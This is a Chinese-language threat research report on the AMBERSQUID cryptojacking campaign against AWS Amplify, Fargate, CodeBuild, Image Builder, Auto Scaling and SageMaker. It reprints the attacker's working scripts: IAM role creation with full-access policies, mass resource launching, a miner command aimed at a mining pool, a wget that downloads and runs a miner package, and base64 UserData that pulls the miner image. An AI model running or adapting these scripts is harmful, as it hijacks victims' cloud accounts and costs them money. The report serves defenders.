Sysdig 的研究人员发现了一种新的云原生挖矿攻击行动,并将其命名为 AMBERSQUID。攻击针对不太常用的 AWS 服务,如 AWS Amplify、AWS Fargate 和 Amazon SageMaker。这些不常见的服务往往意味着其安全性也会被忽视,AMBERSQUID 可能会让受害者每天损失超过 1 万美元。
AMBERSQUID 攻击云服务但不会触发 AWS 申请更多资源的请求,与向 EC2 实例发送垃圾邮件类似。针对多个服务的攻击也为受害者带来了更大的挑战,例如在应急响应的时候必须要找到并杀死所有服务中的挖矿程序。
威胁攻击链
研究人员通过对超 170 万个 Linux 镜像进行分析,发现了 AMBERSQUID 恶意软件。这些危险的容器镜像在进行静态扫描或者恶意二进制文件分析时,不会触发告警。只有当容器运行时,才能够发现服务中的挖矿进程。2023 年的云威胁报告也指出,仅使用静态扫描会漏掉大概 10% 的恶意镜像。
最初调查的容器是在 Docker Hub 上发现的,但很快扩散到很多其他账户。这些账户中的大多数都是从运行挖矿程序的非常基本的容器镜像开始的,最终转向了 AWS 特定服务。
第一个账户在 2022 年 5 月创建,一直活跃到 8 月份。攻击者后续使用不同的账户推送带有挖矿程序的镜像,一直到 2023 年 3 月。在创建自己的存储库前,攻击者从流行的 GitHub 存储库下载了挖矿程序,并将其导入到 Docker 镜像中,这使得攻击者的操作更加隐蔽。攻击者的存储库中没有源代码,但提供了用于下载的挖矿程序。这些挖矿程序通常被命名为 test,并且经过定制化的 UPX 加壳,无法轻易脱壳。
基础时间线
以下是研究人员发现与攻击有关的 Docker Hub 账户列表,其中一些账户已经弃用,另一些账户仍然活跃。
https://hub.docker.com/u/delbidaluan
https://hub.docker.com/u/tegarhuta
https://hub.docker.com/u/rizal91
https://hub.docker.com/u/krisyantii20
https://hub.docker.com/u/avriliahasanah
https://hub.docker.com/u/buenosjiji662
https://hub.docker.com/u/buenosjiji
https://hub.docker.com/u/dellaagustin582
https://hub.docker.com/u/jotishoop
https://hub.docker.com/u/krisyantii20
https://hub.docker.com/u/nainasachie
https://hub.docker.com/u/rahmadabdu0
https://hub.docker.com/u/robinrobby754
如果对 delbidaluan/epicx 进行深入挖掘,就可以发现攻击者用于存储 Amplify 应用程序源代码和挖矿脚本的 GitHub 账户。攻击者提供了不同版本的代码,以防止被 GitHub 搜索引擎跟踪。
GitHub 结果
例如:
在创建 GitHub 账户之前,攻击者使用了没有经过混淆的挖矿程序的二进制文件。研究人员推断,以 x 结尾的镜像会从攻击者的存储库中下载挖矿程序并在启动时运行它们,可以在各种镜像中看到。尤其是 EpiCX 镜像,下载量超过 10 万次。
镜像列表
不以 x 结尾的镜像会运行针对 AWS 的脚本。
以 delbidaluan/epic 为例进行分析,Docker 镜像的入口点是 entrypoint.sh,所有的镜像都一样,区别是可以执行不同的脚本文件。这种情况下,执行会从以下开始:
#!/bin/bash
aws --version
aws configure set aws_access_key_id $ACCESS
aws configure set aws_secret_access_key $SECRET
aws configure set default.output text
git config --global user.name "GeeksforGeeks"
git config --global user.email "[email protected]"
恶意脚本使用环境变量或者在部署镜像时传递参数来设置 AWS 凭据,而 git 相关的代码则取自 GeeksforGeeks。该用户名在 GitHub 上也出现了,但是没有任何行为痕迹。
entrypoint.sh 后还会继续执行以下脚本:
./amplify-role.sh
./repo.sh
./jalan.sh
./update.sh
./ecs.sh
./ulang.sh
容器执行的第一个脚本 amplify-role.sh 会创建 AWSCodeCommit-Role 角色,该角色是攻击者在攻击过程中使用到的多个角色之一。后续也会为其他 AWS 服务创建额外的权限,但第一个获得访问权限的服务是 AWS Amplify,后文将会探讨 Amplify 的具体细节:
aws iam create-role --role-name AWSCodeCommit-Role --assume-role-policy-document file://amplify-role.json
其中 amplify-role.json 为:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "amplify.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}
随后,恶意软件会将 CodeCommit、CloudWatch 和 Amplify 的完整访问策略增加到该角色中。
aws iam attach-role-policy --role-name AWSCodeCommit-Role --policy-arn arn:aws:iam::aws:policy/AWSCodeCommitFullAccess
aws iam attach-role-policy --role-name AWSCodeCommit-Role --policy-arn arn:aws:iam::aws:policy/CloudWatchFullAccess
aws iam attach-role-policy --role-name AWSCodeCommit-Role --policy-arn arn:aws:iam::aws:policy/AdministratorAccess-Amplify
还包括一些内联策略:
aws iam put-role-policy --role-name AWSCodeCommit-Role --policy-name amed --policy-document file://amed.json
aws iam put-role-policy --role-name AWSCodeCommit-Role --policy-name ampad --policy-document file://ampad.json
这些策略会为所有资源赋予 Amplify 和 amplifybackend 服务的完全权限。
最后,amplify-role.sh 会创建另一个角色 sugo-role。该角色具有对 SageMaker 的完全访问权限,如下所示:
aws iam create-role --role-name sugo-role --assume-role-policy-document file://sugo.json
aws iam attach-role-policy --role-name sugo-role --policy-arn arn:aws:iam::aws:policy/AmazonSageMakerFullAccess
其中 sugo.json 为:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "sagemaker.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}
以相同的方式,ecs.sh脚本会创建角色 ecsTaskExecutionRole,该角色具有对 ECS 的完全访问权限(管理权限除外)。
aws iam create-role --role-name ecsTaskExecutionRole --assume-role-policy-document file://ecsTaskExecutionRole.json
aws iam attach-role-policy --role-name ecsTaskExecutionRole --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam attach-role-policy --role-name ecsTaskExecutionRole --policy-arn arn:aws:iam::aws:policy/AmazonECS_FullAccess
aws iam attach-role-policy --role-name ecsTaskExecutionRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
其中 ecsTaskExecutionRole.json 为:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "",
"Effect": "Allow",
"Principal": {
"Service": "ecs-tasks.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}
AWS CodeCommit 是一种高度可扩展、完全托管的源代码控制服务,可以托管私有 Git 存储库。攻击者利用该服务生成私有存储库,将其作为不同服务的源。这可以将攻击行为完全控制在 AWS 内。
repo.sh脚本在每个区域都会创建一个名为 test 的 CodeCommit 存储库。
aws configure set region ca-central-1
aws codecommit create-repository --repository-name test
./code.sh
echo "selesai region ca-central-1"
值得注意的是,selesai 在印尼语中意为“完成”。
创建每个应用程序后,就会立即执行,code.sh会通过 git 将 Amplify-app 源代码推送到远程存储库。
cd amplify-app
rm -rf .git
git init
git add .
git commit -m "web app"
git branch -m master
git status
git config --global credential.helper '!aws codecommit credential-helper $@'
git config --global credential.UseHttpPath true
git remote remove codecommit
REPO=$(aws codecommit get-repository --repository-name test --query 'repositoryMetadata.cloneUrlHttp'| tr -d '"' 2> /dev/null)
git remote add codecommit $REPO
git push codecommit master --force
AWS Amplify 是一个开发平台,允许开发人员构建和部署可扩展的 Web 应用程序与移动应用程序。它提供了一个框架,用于将应用程序与多个其他 AWS 服务集成,例如用于身份验证的 AWS Cognito、用于 API 的 AWS AppSync 与用于存储的 AWS S3。最重要的是,Amplify 为攻击者提供了对计算资源的访问权限。
一旦攻击者创建了私有存储库,jalan.sh就会在每个区域执行另一个脚本 sup0.sh。
aws configure set region us-east-1
./sup0.sh
echo "selesai region us-east-1"
脚本从之前创建的存储库创建 5 个 Amplify Web 应用程序,其中的 amplify-app 目录包含使用 Amplify 运行挖矿程序所需的文件,如下所示。
其中 amplify.yml 如下所示:
version: 1
frontend:
phases:
build:
commands:
- python3 index.py
- ./time
artifacts:
baseDirectory: /
files:
- '**/*'
index.py的内容如下所示:
import json
import datetime
import os
import time
os.system("./start")
def handler(event, context):
data = {
'output': 'Hello World',
'timestamp': datetime.datetime.utcnow().isoformat()
}
return {'statusCode': 200,
'body': json.dumps(data),
'headers': {'Content-Type': 'application/json'}}
它会运行 start 脚本,该脚本会执行挖矿程序:
nohup bash -c 'for i in {1..99999}; do ./test --disable-gpu --algorithm randomepic --pool 74.50.74.27:4416 --wallet rizal91#amplify-$(echo $(date +%H)) --password kiki311093m=solo -t $(nproc --all) --tls false --cpu-threads-intensity 1 --keep-alive true --log-file meta1.log; done' > program.out 2>&1 &
test 文件为挖矿程序,为了阻碍分析,经过定制化的 UPX 加壳。VirusTotal 的检出率也很低,遥测的情况相同的文件还有过 SRBMiner-MULTI 的文件名称。这也在 Epic Cash 相关的内容中得到了证实:
./SRBMiner-MULTI --multi-algorithm-job-mode 1 --disable-gpu --algorithm randomepic --pool lt.epicmine.io:3334 --tls true --wallet your_username.worker_name --password your_passwordm=pool --keepalive true
分析人员认为攻击者这样做是为了避免从外部进行任何下载,从而避免任何告警。
运行的另一个脚本 amplify.yml 用于在挖矿进程运行时维持尽可能长的时间。
for i in {1..6500000}
do
pgrep -x test;
sleep 3;
done
攻击者使用脚本创建多个 Amplify Web 应用程序,并通过 Amplify Hosting 进行部署。在构建的配置文件中,插入了执行挖矿程序的命令。以下代码是 sup0.sh的一部分:
REPO=$(aws codecommit get-repository --repository-name test --query 'repositoryMetadata.cloneUrlHttp'| tr -d '"' 2> /dev/null)
IAM=$(aws iam get-role --role-name AWSCodeCommit-Role --query 'Role.Arn'| tr -d '"' 2> /dev/null)
for i in {1..5}
do
aws amplify create-app --name task$i --repository $REPO --platform WEB --iam-service-role-arn $IAM --environment-variables '{"_BUILD_TIMEOUT":"480","BUILD_ENV":"prod"}' --enable-branch-auto-build --enable-branch-auto-deletion --no-enable-basic-auth \
--build-spec "
version: 1
frontend:
phases:
build:
commands:
- timeout 280000 python3 index.py
artifacts:
baseDirectory: /
files:
- '**/*'
" \
--enable-auto-branch-creation --auto-branch-creation-patterns '["*","*/**"]' --auto-branch-creation-config '{"stage": "PRODUCTION", "enableAutoBuild": true, "environmentVariables": {" ": " "},"enableBasicAuth": false, "enablePullRequestPreview":false}'
这是首次发现攻击者滥用 AWS Amplify 进行挖矿。在创建后,攻击者会使用 update.sh更新存储库代码以便再次进行部署。
此外,在来自同一矿池的用户的另一张图片 tegarhuta/ami 中,研究人员发现了在挖矿脚本的同一文件夹中创建 Amplify 应用程序的说明。其中一个 URL 就是 Amplify-app,撰写本文时似乎仍然在运行。
该网站部署于 https://master[.]d19tgz4vpyd5[.]amplifyapp[.]com。
ecs.sh显然是用于在 AWS ECS 服务中进行挖矿的,而 Amazon ECS 是一种用于管理和部署容器编排服务。该脚本创建可从 ECS 任务服务中的 ecsTaskExecutionRole 角色,然后为其增加 AdministratorAccess、AmazonECS_FullAccess 和AmazonECSTaskExecutionRolePolicy 策略。
之后创建一个 ECS 任务,用于启动容器镜像 delbidaluan/epicx。为容器分配 2 核 CPU 与 4 GB 内存,并且通过设置 “”requiresCompatibilities”: [“FARGATE”]” 将其配置在 Fargate 上运行。
aws configure set region us-east-1
aws ecs create-cluster \
--cluster-name test \
--capacity-providers FARGATE FARGATE_SPOT \
--default-capacity-provider-strategy capacityProvider=FARGATE,weight=1 capacityProvider=FARGATE_SPOT,weight=1
sleep 10s
aws ecs create-cluster \
--cluster-name test \
--capacity-providers FARGATE FARGATE_SPOT \
--default-capacity-provider-strategy capacityProvider=FARGATE,weight=1 capacityProvider=FARGATE_SPOT,weight=1
aws ecs register-task-definition --family test --cli-input-json file://task.json
LIFAR=$(aws service-quotas get-service-quota --service-code fargate --quota-code L-3032A538 --query 'Quota.Value')
if [ $LIFAR = "30.0" ];
then
COUNT=30
VPC=$(aws ec2 describe-vpcs --query 'Vpcs[0].VpcId'| tr -d '"' 2> /dev/null)
SGROUP=$(aws ec2 describe-security-groups --filters "Name=vpc-id,Values=$VPC" --query 'SecurityGroups[0].GroupId' | tr -d '"' 2> /dev/null)
SUBNET=$(aws ec2 describe-subnets --query 'Subnets[0].SubnetId' | tr -d '"' 2> /dev/null)
SUBNET1=$(aws ec2 describe-subnets --query 'Subnets[1].SubnetId' | tr -d '"' 2> /dev/null)
aws ecs create-service --cluster test --service-name test --task-definition test:1 --desired-count $COUNT --capacity-provider-strategy capacityProvider=FARGATE,weight=1 capacityProvider=FARGATE_SPOT,weight=1 --platform-version LATEST --network-configuration "awsvpcConfiguration={subnets=[$SUBNET,$SUBNET1],securityGroups=[$SGROUP],assignPublicIp=ENABLED}"
else
COUNT=6
VPC=$(aws ec2 describe-vpcs --query 'Vpcs[0].VpcId'| tr -d '"' 2> /dev/null)
SGROUP=$(aws ec2 describe-security-groups --filters "Name=vpc-id,Values=$VPC" --query 'SecurityGroups[0].GroupId' | tr -d '"' 2> /dev/null)
SUBNET=$(aws ec2 describe-subnets --query 'Subnets[0].SubnetId' | tr -d '"' 2> /dev/null)
SUBNET1=$(aws ec2 describe-subnets --query 'Subnets[1].SubnetId' | tr -d '"' 2> /dev/null)
aws ecs create-service --cluster test --service-name test --task-definition test:1 --desired-count $COUNT --capacity-provider-strategy capacityProvider=FARGATE,weight=1 capacityProvider=FARGATE_SPOT,weight=1 --platform-version LATEST --network-configuration "awsvpcConfiguration={subnets=[$SUBNET,$SUBNET1],securityGroups=[$SGROUP],assignPublicIp=ENABLED}"
fi
根据文档,desiredCount 为保持服务运行指定任务的实例数量。如果服务中运行的任务低于需求,Aamzon ECS 将会在指定的集群中运行该任务的另一个副本。
最终运行 ulang.sh,而 restart.sh脚本只是查看所有 Amplify-app 的任务,如果状态不是 running 与 pending 就重新运行。
AWS CodeBuild 是一项持续集成(CI)服务,可用于编译、测试源代码并生成可部署的结果文件。创建项目时,用户可以在构建规范中指定构建命令。攻击者就依赖此处运行挖矿程序:
aws configure set region ap-south-1
aws codebuild create-project --name tost \
[...]
aws codebuild create-project --name tost1 \
[...]
aws codebuild create-project --name tost2 \
--source '{"type": "CODECOMMIT","location": "https://git-codecommit.ap-south-1.amazonaws.com/v1/repos/test","gitCloneDepth": 1,"gitSubmodulesConfig": { "fetchSubmodules": false},"buildspec": "version: 0.2\nphases:\n build:\n commands:\n - python3 index.py\n - ./time","insecureSsl": false}' \
--source-version refs/heads/master \
--artifacts '{"type": "NO_ARTIFACTS"}' \
--environment '{"type": "LINUX_CONTAINER","image": "aws/codebuild/amazonlinux2-x86_64-standard:4.0","computeType": "BUILD_GENERAL1_LARGE","environmentVariables": [],"privilegedMode": false,"imagePullCredentialsType": "CODEBUILD"}' \
--service-role $ROLE_ARN \
--timeout-in-minutes 480 \
--queued-timeout-in-minutes 480 \
--logs-config '{"cloudWatchLogs": {"status": "ENABLED"},"s3Logs": {"status": "DISABLED","encryptionDisabled": false}}'
aws codebuild start-build --project-name tost1
aws codebuild start-build --project-name tost2
aws codebuild start-build --project-name tost
攻击者使 index.py在项目开始构建时运行,而 Amplify 则在构建实例内执行恶意代码。此外,攻击者将超时时间设置为 8 个小时,这是 CodeBuild 构建超时等待的最长时间。
AWS CloudFormation 是一种基础设施即代码服务,允许用户通过模板部署 AWS 与第三方资源。攻击者会创建多个 CloudFormation 堆栈,这些堆栈都是基于自定义 EC2 Image Builder 组件的模板。攻击者输入命令,在镜像的构建阶段运行挖矿程序,与 Dockerfile 中的命令类似。如下所示:
Component:
Type: AWS::ImageBuilder::Component
Properties:
Name: HelloWorld-ContainerImage-Component
Platform: Linux
Version: 1.0.0
Description: 'This is a sample component that demonstrates defining the build, validation, and test phases for an image build lifecycle'
ChangeDescription: 'Initial Version'
Data: |
name: Hello World
description: This is hello world compocat nent doc for Linux.
schemaVersion: 1.0
phases:
- name: build
steps:
- name: donStep
action: ExecuteBash
inputs:
commands:
- sudo yum install wget unzip -y && wget --no-check-certificate https://github.com/meuryalos/profile/releases/download/1.0.0/test.zip && sudo unzip test.zip
- name: validate
steps:
- name: buildStep
action: ExecuteBash
inputs:
commands:
- sudo ./start
- sudo timeout 48m ./time
攻击者还指定了要创建的实例类型:
BuildInstanceType:
Type: CommaDelimitedList
Default: "c5.xlarge,c5a.xlarge,r5.xlarge,r5a.xlarge"
再使用以下 JSON 文件创建八个 EC2 镜像管道:
{
"name": "task$i",
"description": "Builds image",
"containerRecipeArn": "$CONTAINER",
"infrastructureConfigurationArn": "$INFRA",
"distributionConfigurationArn": "$DISTRI",
"imageTestsConfiguration": {
"imageTestsEnabled": true,
"timeoutMinutes": 60
},
"schedule": {
"scheduleExpression": "cron(* 0/1 * * ?)",
"pipelineExecutionStartCondition": "EXPRESSION_MATCH_ONLY"
},
"status": "ENABLED"
}
其中最重要的定时任务的部分,使管道每分钟启动一个新的构建。其 Docker 进项包含之前在真实环境中使用的 JSON 文件之一,并且泄露了 AWS 账户 ID。
{
"name": "task8",
"description": "Builds image",
"containerRecipeArn": "arn:aws:imagebuilder:us-east-1:909030629651:container-recipe/amazonlinux2-container-recipe/1.0.0",
"infrastructureConfigurationArn": "arn:aws:imagebuilder:us-east-1:909030629651:infrastructure-configuration/amazonlinux2-containerimage-infrastructure-configuration",
"distributionConfigurationArn": "arn:aws:imagebuilder:us-east-1:909030629651:distribution-configuration/amazonlinux2-container-distributionconfiguration",
"imageTestsConfiguration": {
"imageTestsEnabled": true,
"timeoutMinutes": 60
},
"schedule": {
"scheduleExpression": "cron(* 0/1 * * ?)",
"pipelineExecutionStartCondition": "EXPRESSION_MATCH_ONLY"
},
"status": "ENABLED"
}
Amazon EC2 Auto Scaling 是一项功能,允许用户使用自己选择的扩展策略添加或删除 EC2 实例来弹性处理计算容量。启动模板可用于定义要部署的 EC2 实例,scale.sh脚本会创建以下 EC2 启动模板:
SCRIPT="c3VkbyB5dW0gaW5zdGFsbCBkb2NrZXIgLXkgJiYgc3VkbyBzZXJ2aWNlIGRvY2tlciBzdGFydCAmJiBzdWRvIGRvY2tlciBwdWxsIGRlbGJpZGFsdWFuL2VwaWN4ICYmIHN1ZG8gZG9ja2VyIHJ1biAtZCBkZWxiaWRhbHVhbi9lcGljeA=="
AMI=$(aws ec2 describe-images --filters "Name=manifest-location,Values=amazon/amzn2-ami-kernel-5.10-hvm-2.0.20230404.0-x86_64-gp2" --query 'Images[0].ImageId'| tr -d '"' 2> /dev/null)
export AMI
aws ec2 create-launch-template \
--launch-template-name task \
--version-description task \
--launch-template-data '{"ImageId": "'$AMI'","UserData": "'$SCRIPT'","InstanceRequirements":{"VCpuCount":{"Min":4},"MemoryMiB":{"Min":8192}}}'
Amazon Linux 2 的最低要求是 4 核 CPU 与 8GB 内存,插入 UserData 中的 base64 编码脚本中包含运行挖矿程序的 Docker 镜像命令:
sudo yum install docker -y && sudo service docker start && sudo docker pull delbidaluan/epicx && sudo docker run -d delbidaluan/epicx
然后脚本会创建名为 task 与 task1 的 Auto Scaling 组,再使用之前的启动模板启动实例,如下所示:
aws autoscaling create-auto-scaling-group --auto-scaling-group-name task --vpc-zone-identifier "$SUBNET,$SUBNET1" --cli-input-json '{"DesiredCapacityType":"units","MixedInstancesPolicy":{"LaunchTemplate":{"LaunchTemplateSpecification":{"LaunchTemplateName":"task","Version":"1"},"Overrides":[{"InstanceRequirements":{"VCpuCount":{"Min":4},"MemoryMiB":{"Min":8192},"CpuManufacturers":["intel","amd"]}}]},"InstancesDistribution":{"OnDemandPercentageAboveBaseCapacity":100,"SpotAllocationStrategy":"capacity-optimized","OnDemandBaseCapacity":8,"OnDemandPercentageAboveBaseCapacity":100}},"MinSize":8,"MaxSize":8,"DesiredCapacity":8,"DesiredCapacityType":"units"}'
aws autoscaling create-auto-scaling-group --auto-scaling-group-name task1 --vpc-zone-identifier "$SUBNET,$SUBNET1" --cli-input-json '{"DesiredCapacityType":"units","MixedInstancesPolicy":{"LaunchTemplate":{"LaunchTemplateSpecification":{"LaunchTemplateName":"task","Version":"1"},"Overrides":[{"InstanceRequirements":{"VCpuCount":{"Min":4},"MemoryMiB":{"Min":8192},"CpuManufacturers":["intel","amd"]}}]},"InstancesDistribution":{"OnDemandPercentageAboveBaseCapacity":0,"SpotAllocationStrategy":"capacity-optimized","OnDemandBaseCapacity":0,"OnDemandPercentageAboveBaseCapacity":0}},"MinSize":8,"MaxSize":8,"DesiredCapacity":8,"DesiredCapacityType":"units"}'
Amazon SageMaker 是一个用于构建、训练和部署机器学习模型的平台。用户可以指定在创建或启动实例时运行的 Shell 脚本,这也是攻击者利用其运行挖矿程序的地方。
攻击者运行的 note.sh会创建类型为 ml.t3.medium 的 SageMaker 实例。配置中的 OnStart 字段就是每次启动实例需要运行的 Shell 脚本,其中插入了 base64 编码的命令来运行挖矿程序。
sudo yum install docker -y && sudo service docker start && sudo docker pull delbidaluan/note && sudo docker run -d delbidaluan/note
salah 在印尼语中的意思是“错误”,salah.sh会依次运行 delete.sh删除之前创建的所有 CodeCommit 存储库,以及 stoptrigger.sh停止 Glue 触发器。
分析人员评估了受害者带来的成本,如下所示:
成本估算表
默认脚本并未以全功率运行,如果攻击者火力全开会给受害者带来更大的损失。
加密货币 | 钱包地址 | 估算价值 |
---|---|---|
Zephyr | ZEPHYR2vyrpcg2e2sJaA88EM6aGaLCBdiYfiHffrs5b3Fa4p1qpoEPH4UabmhJr5YYF7CxJykLTJmESQWaB9ARNuhb6jvptapVq3v | $6,924 |
Tidecoin | TFrQ7u9spKk8MBgX6Bze3oxPbs3Yh1tAsq | $6,993 |
Verus | RNu4dQGeFDSPP5iHthijkfnzgxcW2nPde9 | $1,916 |
Monero | 89v8xC6Mu2tX27WZKhefTuSnN7f3JMHQSAuoD7ZRe1bV2wfExSTDZe4JwaM4qpjKAoWbAbbnqLBmGCFECiwnXdfSKHt85H3 (2miners)8B7ommXjcEpTAHKFFyci1v5ADrqvEbphhHrzbBfJgvqjecbik7vcLonh8rYSstbBxgD8AccrJYEukDaXZB8ns3kTLiXL8BN (c3pool)837MGitRYxgEV158RDenxVUfb5mN6qzz78Z1WeaDoiqC4K7H8Pj556vHJoVXL2MCJ5WCGVZTBiRmqJFxeJG3WSQmGKhPC31 (nanopool) | $2,506 |
QRL | Q010500bc3733dbd0576ca26a8595d59b577a4d1e09c019856abfa103b8f08ec0ed36735e0e2f35、Q01050074da7be4fe8216f789041227c08ccbf310617362641336e1f282c398937635a5d3ebbdbf | |
Bamboo | 007DE31E4FD8213FBCE3586A3D2260C962142BBC605BB41C41 |
AWS 等云服务提供商为其客户提供大量不同的服务,尽管大多数攻击者都针对计算服务进行攻击,但其实其他服务的计算资源也是攻击者所垂涎的。这些服务很容易被忽略,安全可靠性较低。